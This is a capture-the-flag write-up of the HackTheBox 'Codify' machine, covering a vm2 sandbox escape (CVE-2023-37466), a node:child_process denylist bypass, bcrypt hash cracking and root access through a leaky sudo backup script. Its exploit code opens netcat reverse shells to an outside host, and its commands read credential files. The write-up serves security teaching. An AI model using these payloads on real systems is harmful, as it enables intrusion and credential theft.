Home HackTheBox - Codify
Post
Cancel

HackTheBox - Codify

This box starts off with a node.js sandbox web application that let’s anybody compile and run node.js code online.

homepage

Reconnaissance

There is an about page that discusses the use of vm2 as their sandbox.

about

They also mention some modules that have been blocked to prevent remote code execution on their servers.

limitations

Foothold

There are a few ways to get a foothold on this machine:

  • Researching vm2 we find out it is not being maintained anymore due to presences of security issues like, for example, CVE-2023-37466.
  • Trying out some other bypasses we noticed that the denylist for child-process can be bypassed by using node:child-process.

CVE-2023-37466

We can use the PoC from here and modify it to execute a reverse shell payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.153 1234 >/tmp/f').toString(); }
            )
        }
    }
};
p.then();

node:child-process

We can use the node: prefix to access core Node.js modules. It is not different than calling child-process directly but using this prefix allows us to bypass the denylist.

1
require('node:child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.153 1234 >/tmp/f')

editor

Lateral Movement

We get access to the service “svc” account. From here, we can see another user called “joshua”.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.153] from (UNKNOWN) [10.10.11.239] 45854
svc@codify:~$ id       
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@codify:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
...
...
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
...

We can check out the web application repository to see if there are any credentials to be found.

1
2
3
4
5
6
7
8
9
10
11
12
svc@codify:~$ cd /var/www
svc@codify:/var/www$ ls
contact
editor
html
svc@codify:/var/www$ cd contact
svc@codify:/var/www/contact$ ls
index.js
package.json
package-lock.json
templates
tickets.db

We find a database, upon viewing the database we find a BCrypt hash that seems to be associated with the user “joshua”.

1
2
3
4
5
6
7
8
9
10
11
svc@codify:/var/www/contact$ cat tickets.db
�T5��T�format 3@  .WJ
       otableticketsticketsCREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)��tableusersusersCREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        username TEXT UNIQUE, 
        password TEXT
��G�joshua$2a$12**REDACTED**/Zw2
��
����ua  users
             ickets
r]r�h%%�Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open� ;�wTom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open

We can crack this hash by running john.

1
2
3
4
5
6
7
8
9
10
$ cat hash.txt              
joshua:$2a$12**REDACTED**/Zw2
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt               
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s**REDACTED**1       (joshua)     
Session completed. 

We can now log into the joshua account and get the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ssh joshua@10.10.11.239
joshua@codify:~$ ls -lah
total 32K
drwxrwx--- 3 joshua joshua 4.0K Nov  2 12:22 .
drwxr-xr-x 4 joshua joshua 4.0K Sep 12 17:10 ..
lrwxrwxrwx 1 root   root      9 May 30 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 joshua joshua  220 Apr 21  2023 .bash_logout
-rw-r--r-- 1 joshua joshua 3.7K Apr 21  2023 .bashrc
drwx------ 2 joshua joshua 4.0K Sep 14 14:44 .cache
-rw-r--r-- 1 joshua joshua  807 Apr 21  2023 .profile
-rw-r----- 1 root   joshua   33 Nov  6 19:20 user.txt
-rw-r--r-- 1 joshua joshua   39 Sep 14 14:45 .vimrc
joshua@codify:~$ cat user.txt
9f1a**REDACTED**da78

Privilege Escalation

The “joshua” account can run /opt/scripts/mysql-backup.sh as root. When we check the contents of this script we see it displays the DB_PASS in plaintext when it runs mysql commands.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

We can run pspy64 to look at the current running jobs. We see the script is being executed and the mysql commands containing the plaintext root password as well.

1
2
3
4
5
6
7
8
joshua@codify:~$ /tmp/pspy64
2023/11/06 19:38:07 CMD: UID=0     PID=11015  | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/06 19:38:07 CMD: UID=0     PID=11014  | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh**REDACTED**2kjh3 mysql                                                                                         
2023/11/06 19:38:07 CMD: UID=0     PID=11016  | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/06 19:38:07 CMD: UID=0     PID=11017  | /usr/bin/echo Password confirmation failed! 
2023/11/06 19:38:08 CMD: UID=0     PID=11018  | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/06 19:38:08 CMD: UID=0     PID=11020  | /usr/bin/gzip 
2023/11/06 19:38:08 CMD: UID=0     PID=11019  | /bin/bash /opt/scripts/mysql-backup.sh 

We can use the root password to log into root and get the root flag.

1
2
3
4
joshua@codify:~$ su
Password: 
root@codify:/home/joshua# cat /root/root.txt
cc39**REDACTED**eb61
This post is licensed under CC BY 4.0 by the author.